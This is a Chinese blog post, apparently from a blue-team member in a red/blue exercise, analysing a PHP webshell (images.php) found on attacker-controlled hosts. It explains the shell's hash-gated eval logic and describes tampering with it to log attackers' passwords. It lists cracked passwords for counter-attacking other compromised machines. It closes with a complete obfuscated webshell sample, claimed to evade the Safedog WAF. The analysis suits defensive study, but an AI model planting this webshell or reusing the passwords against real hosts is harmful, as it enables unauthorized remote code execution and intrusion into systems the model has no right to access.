对某攻击队的Webshell进行分析
2019-10-14 05:05:24 Author: mp.weixin.qq.com(查看原文) 阅读量:81 收藏

背景

在攻防演练过程中,作为蓝队成员除了日常的防守任务以外还可以通过其他的手段进行对攻击队的反打。

我方蓝队成员对已拿下攻击方⾁鸡的⽇志、⽂件等内容的分析,发现⼤部分肉鸡的网站根目录都存在 images.php,提取该文件的内容并分析。

images.php 文件内容

分析

提出较为重要的那一段base64decode后的PHP代码进行分析:

@session_start();//开启session
if(isset($_POST['code']))substr(sha1(md5($_POST['a'])),36)=='222f'&&$_SESSION['theCode']=$_POST['code'];if(isset($_SESSION['theCode']))@eval(base64_decode($_SESSION['theCode']));

代码逻辑

A.判断POST请求参数code是否有值
B.当满足条件时则执行如下代码

substr(sha1(md5($_POST['a'])),36)=='222f'&&$_SESSION['theCode']=$_POST['code']

C.这段代码的意思为将POST请求参数a的值进行md5加密再进行sha1加密

D.最后从加密后的字符串的第36位开始取值(sha1加密后的值为40位,这里也就是取后4位)

E.当后四位等于222f的时候条件为真则执行如下代码

$_SESSION['theCode']=$_POST['code']

(Why?&&是逻辑与操作,如果&&的前面为false了,后面的就不会执行了,所以在这里也就间接的形成了一种判断从而必须满足后四位等于222f的条件)

F.最后进入该代码执行

if(isset($_SESSION['theCode']))@eval(base64_decode($_SESSION['theCode']));

G.其他的代码简单就不再重复描述

为了满足条件(substr(sha1(md5($_POST['a'])),36)=='222f')让我们自己可以连接这个Webshell,我们可以采用钓鱼的方式等攻击方人员主动上钩(修改images.php即可):

修改后的文件内容

当攻击方人员主动连接该Webshell时会将POST请求参数a的值写入到pass.txt中。

但此方法较为被动,我们还可以在本地搭建一个环境搭配Burp去爆破获取后四位为222f的明文:

测试PHP代码

BurpSuite爆破结果

获得了:abc123000lipeng520160376这三个密码,可利用密码对其他的肉鸡再次进行反打。

代码样本:(测试可过安全狗)

<?php
$CF='c'.'r'.'e'.'a'.'t'.'e'.'_'.'f'.'u'.'n'.'c'.'t'.'i'.'o'.'n';
$EB=@$CF('$x','e'.'v'.'a'.'l'.'(b'.'a'.'s'.'e'.'6'.'4'.'_'.'d'.'e'.'c'.'o'.'d'.'e($x));');
$EB('QHNlc3Npb25fc3RhcnQoKTtpZihpc3NldCgkX1BPU1RbJ2NvZGUnXSkpc3Vic3RyKHNoYTEobWQ1KCRfUE9TVFsnYSddKSksMzYpPT0nMjIyZicmJiRfU0VTU0lPTlsndGhlQ29kZSddPSRfUE9TVFsnY29kZSddO2lmKGlzc2V0KCRfU0VTU0lPTlsndGhlQ29kZSddKSlAZXZhbChiYXNlNjRfZGVjb2RlKCRfU0VTU0lPTlsndGhlQ29kZSddKSk7');
?>

文章来源: https://mp.weixin.qq.com/s/EOuLwXmOZAbAvFztBv2n9Q
如有侵权请联系:admin#unsafe.sh